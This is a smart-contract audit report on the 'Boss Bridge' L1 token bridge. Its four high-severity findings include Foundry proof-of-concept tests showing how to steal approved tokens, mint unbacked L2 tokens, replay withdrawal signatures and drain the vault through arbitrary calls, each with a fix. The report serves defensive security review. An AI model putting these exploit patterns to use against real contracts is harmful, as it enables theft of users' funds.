



Protocol Audit Report

Prepared by: Spiney

Table of Contents

- [Table of Contents](#)
- [Protocol Summary](#)
- [Disclaimer](#)
- [Risk Classification](#)
- [Audit Details](#)
 - [Scope](#)
 - [Roles](#)
- [Executive Summary](#)
 - [Issues found](#)
- [Findings](#)
 - [High](#)
 - [\[H-1\] Users who give tokens approvals to `L1BossBridge` may have those assest stolen](#)
 - [\[H-2\] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens](#)
 - [\[H-3\] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed](#)
 - [\[H-4\] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds](#)
 - [Medium](#)
 - [\[M-1\] Withdrawals are prone to unbounded gas consumption due to return bombs](#)
 - [Low](#)
 - [\[L-1\] Lack of event emission during withdrawals and sending tokens to L1](#)
 - [\[L-2\] Centralization Risk](#)
 - [\[L-3\] Unsafe ERC20 Operation](#)
 - [\[L-4\] Address State Variable Set Without Checks](#)
 - [\[L-5\] Public Function Not Used Internally](#)
 - [\[L-6\] PUSH0 Opcode](#)
 - [\[L-7\] Large Numeric Literal](#)
 - [\[L-8\] State Variable Could Be Constant](#)
 - [\[L-9\] State Change Without Event](#)
 - [\[L-10\] State Variable Could Be Immutable](#)
 - [\[L-11\] Unchecked Return](#)
 - [Informational](#)
 - [\[I-1\] Insufficient test coverage](#)

Protocol Summary

The Boss Bridge is a bridging mechanism to move an ERC20 token (the "Boss Bridge Token" or "BBT") from L1 to an L2 the development team claims to be building. Because the L2 part of the bridge is under construction, it was not included in the reviewed codebase.

The bridge is intended to allow users to deposit tokens, which are to be held in a vault contract on L1. Successful deposits should trigger an event that an off-chain mechanism is in charge of detecting to mint the corresponding tokens on the L2 side of the bridge.

Withdrawals must be approved operators (or "signers"). Essentially they are expected to be one or more off-chain services where users request withdrawals, and that should verify requests before signing the data users must use to withdraw their tokens. It's worth highlighting that there's little-to-no on-chain mechanism to verify withdrawals, other than the operator's signature. So the Boss Bridge heavily relies on having robust, reliable and always available operators to approve withdrawals. Any rogue operator or compromised signing key may put at risk the entire protocol.

Disclaimer

The Spiney team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the [CodeHawks](#) severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

```
#- - src
|   #- - L1BossBridge.sol
|   #- - L1Token.sol
|   #- - L1Vault.sol
|   #- - TokenFactory.sol
```

Roles

- Bridge owner: can pause and unpause withdrawals in the **L1BossBridge** contract. Also, can add and remove operators. Rogue owners or compromised keys may put at risk all bridge funds.
- User: Accounts that hold BBT tokens and use the **L1BossBridge** contract to deposit and withdraw them.
- Operator: Accounts approved by the bridge owner that can sign withdrawal operations. Rogue operators or compromised keys may put at risk all bridge funds.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	1
Low	11
Info	1
Total	17

Findings

High

[H-1] Users who give tokens approvals to **L1BossBridge** may have those assest stolen

The **depositTokensToL2** function allows anyone to call it with a **from** address of any account that has approved tokens to the bridge.

As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greater than zero. This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the **l2Recipient** parameter).

As a PoC, include the following test in the **L1BossBridge.t.sol** file:

```
function testCanMoveApprovedTokensOfOtherUsers() public {
    vm.prank(user);
    token.approve(address(tokenBridge), type(uint256).max);

    uint256 depositAmount = token.balanceOf(user);
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(user, attackerInL2, depositAmount);
    tokenBridge.depositTokensToL2(user, attackerInL2, depositAmount);

    assertEq(token.balanceOf(user), 0);
    assertEq(token.balanceOf(address(vault)), depositAmount);
    vm.stopPrank();
}
```

Consider modifying the **depositTokensToL2** function so that the caller cannot specify a **from** address.

```
- function depositTokensToL2(address from, address l2Recipient, uint256
amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount) external
whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
- token.transferFrom(from, address(vault), amount);
+ token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the
    corresponding tokens on L2
- emit Deposit(from, l2Recipient, amount);
+ emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-2] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens

`depositTokensToL2` function allows the caller to specify the `from` address, from which tokens are taken.

Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the `depositTokensToL2` function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the `Deposit` event any number of times, presumably causing the minting of unbacked tokens in L2.

Additionally, they could mint all the tokens to themselves.

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
function testCanTransferFromVaultToVault() public {
    vm.startPrank(attacker);

    // assume the vault already holds some tokens
    uint256 vaultBalance = 500 ether;
    deal(address(token), address(vault), vaultBalance);

    // Can trigger the `Deposit` event self-transferring tokens in the
    vault
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault),
    vaultBalance);

    // Any number of times
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault),
    vaultBalance);

    vm.stopPrank();
}
```

As suggested in H-1, consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

[H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed

Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanism (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
function testCanReplayWithdrawals() public {
    // Assume the vault already holds some tokens
    uint256 vaultInitialBalance = 1000e18;
    uint256 attackerInitialBalance = 100e18;
    deal(address(token), address(vault), vaultInitialBalance);
    deal(address(token), address(attacker), attackerInitialBalance);

    // An attacker deposits tokens to L2
    vm.startPrank(attacker);
    token.approve(address(tokenBridge), type(uint256).max);
    tokenBridge.depositTokensToL2(attacker, attackerInL2,
attackerInitialBalance);

    // Operator signs withdrawal.
    (uint8 v, bytes32 r, bytes32 s) =
        _signMessage(_getTokenWithdrawalMessage(attacker,
attackerInitialBalance), operator.key);

    // The attacker can reuse the signature and drain the vault.
    while (token.balanceOf(address(vault)) > 0) {
        tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance,
v, r, s);
    }
    assertEq(token.balanceOf(address(attacker)), attackerInitialBalance +
vaultInitialBalance);
    assertEq(token.balanceOf(address(vault)), 0);
}
```

Consider redesigning the withdrawal mechanism so that it includes replay protection.

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call that targets the vault and executes its `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

To reproduce, include the following test in the `L1BossBridge.t.sol` file:

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);

    // An attacker deposits tokens to L2. We do this under the assumption
    // that the
    // bridge operator needs to see a valid deposit tx to then allow us to
    // request a withdrawal.
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(attacker), address(0), 0);
    tokenBridge.depositTokensToL2(attacker, address(0), 0);

    // Under the assumption that the bridge operator doesn't validate
    // bytes being signed
    bytes memory message = abi.encode(
        address(vault), // target
        0, // value
        abi.encodeCall(L1Vault.approveTo, (address(attacker),
type(uint256).max)) // data
    );
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

    tokenBridge.sendToL1(v, r, s, message);
    assertEq(token.allowance(address(vault), attacker),
type(uint256).max);
    token.transferFrom(address(vault), attacker,
token.balanceOf(address(vault)));
}
```

Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a [return bomb](#) to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as [this one](#).

Low

[L-1] Lack of event emission during withdrawals and sending tokens to L1

Neither the `sendToL1` function nor the `withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed. This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Modify the `sendToL1` function to include a new event that is always emitted upon completing withdrawals.

[L-2] Centralization Risk

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

► 8 Found Instances

- Found in `src/L1BossBridge.sol` [Line: 27](#)

```
contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
```

- Found in `src/L1BossBridge.sol` [Line: 49](#)

```
function pause() external onlyOwner {
```

- Found in `src/L1BossBridge.sol` [Line: 53](#)

```
function unpause() external onlyOwner {
```

- Found in `src/L1BossBridge.sol` [Line: 57](#)

```
function setSigner(address account, bool enabled) external  
onlyOwner {
```

- Found in `src/L1Vault.sol` [Line: 12](#)

```
contract L1Vault is Ownable {
```

- Found in `src/L1Vault.sol` [Line: 19](#)

```
function approveTo(address target, uint256 amount) external  
onlyOwner {
```

- Found in src/TokenFactory.sol [Line: 11](#)

```
contract TokenFactory is Ownable {
```

- Found in src/TokenFactory.sol [Line: 23](#)

```
function deployToken(string memory symbol, bytes memory  
contractBytecode) public onlyOwner returns (address addr) {
```

[L-3] Unsafe ERC20 Operation

ERC20 functions may not behave as expected. For example: return values are not always meaningful. It is recommended to use OpenZeppelin's SafeERC20 library.

► 2 Found Instances

- Found in src/L1BossBridge.sol [Line: 99](#)

```
abi.encodeCall(IERC20.transferFrom, (address(vault),  
to, amount))
```

- Found in src/L1Vault.sol [Line: 20](#)

```
token.approve(target, amount);
```

[L-4] Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

► 1 Found Instances

- Found in src/L1Vault.sol [Line: 16](#)

```
token = _token;
```

[L-5] Public Function Not Used Internally

If a function is marked public but is not used internally, consider marking it as `external`.

► 4 Found Instances

- Found in src/Counter.sol [Line: 7](#)

```
function setNumber(uint256 newNumber) public {
```

- Found in src/Counter.sol [Line: 11](#)

```
function increment() public {
```

- Found in src/TokenFactory.sol [Line: 23](#)

```
function deployToken(string memory symbol, bytes memory  
contractBytecode) public onlyOwner returns (address addr) {
```

- Found in src/TokenFactory.sol [Line: 31](#)

```
function getTokenAddressFromSymbol(string memory symbol) public  
view returns (address addr) {
```

[L-6] PUSH0 Opcode

Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.

► 5 Found Instances

- Found in src/Counter.sol [Line: 2](#)

```
pragma solidity ^0.8.13;
```

- Found in src/L1BossBridge.sol [Line: 15](#)

```
pragma solidity 0.8.20;
```

- Found in src/L1Token.sol [Line: 2](#)

```
pragma solidity 0.8.20;
```

- Found in src/L1Vault.sol [Line: 2](#)

```
pragma solidity 0.8.20;
```

- Found in src/TokenFactory.sol [Line: 2](#)

```
pragma solidity 0.8.20;
```

[L-7] Large Numeric Literal

Large literal values multiples of 10000 can be replaced with scientific notation. Use **e** notation, for example: **1e18**, instead of its full numeric value.

► 2 Found Instances

- Found in src/L1BossBridge.sol [Line: 30](#)

```
uint256 public DEPOSIT_LIMIT = 100_000 ether;
```

- Found in src/L1Token.sol [Line: 7](#)

```
uint256 private constant INITIAL_SUPPLY = 1_000_000;
```

[L-8] State Variable Could Be Constant

State variables that are not updated following deployment should be declared constant to save gas. Add the **constant** attribute to state variables that never change.

► 1 Found Instances

- Found in src/L1BossBridge.sol [Line: 30](#)

```
uint256 public DEPOSIT_LIMIT = 100_000 ether;
```

[L-9] State Change Without Event

There are state variable changes in this function but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

► 5 Found Instances

- Found in src/Counter.sol [Line: 7](#)

```
function setNumber(uint256 newNumber) public {
```

- Found in src/Counter.sol [Line: 11](#)

```
function increment() public {
```

- Found in src/L1BossBridge.sol [Line: 57](#)

```
function setSigner(address account, bool enabled) external  
onlyOwner {
```

- Found in src/L1BossBridge.sol [Line: 91](#)

```
function withdrawTokensToL1(address to, uint256 amount, uint8 v,  
bytes32 r, bytes32 s) external {
```

- Found in src/L1BossBridge.sol [Line: 112](#)

```
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory  
message) public nonReentrant whenNotPaused {
```

[L-10] State Variable Could Be Immutable

State variables that are only changed in the constructor should be declared immutable to save gas. Add the **immutable** attribute to state variables that are only changed in the constructor

► 1 Found Instances

- Found in src/L1Vault.sol [Line: 13](#)

```
IERC20 public token;
```

[L-11] Unchecked Return

Function returns a value but it is ignored. Consider checking the return value.

► 1 Found Instances

- Found in src/L1Vault.sol [Line: 20](#)

```
token.approve(target, amount);
```

Informational

[I-1] Insufficient test coverage

Running tests...

File	% Lines	% Statements	% Branches
% Funcs			
-----	-----	-----	-----
src/L1BossBridge.sol	86.67% (13/15)	90.00% (18/20)	83.33% (5/6)
83.33% (5/6)			
src/L1Vault.sol	0.00% (0/1)	0.00% (0/1)	100.00% (0/0)
0.00% (0/1)			
src/TokenFactory.sol	100.00% (4/4)	100.00% (4/4)	100.00% (0/0)
100.00% (2/2)			
Total	85.00% (17/20)	88.00% (22/25)	83.33% (5/6)
77.78% (7/9)			

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.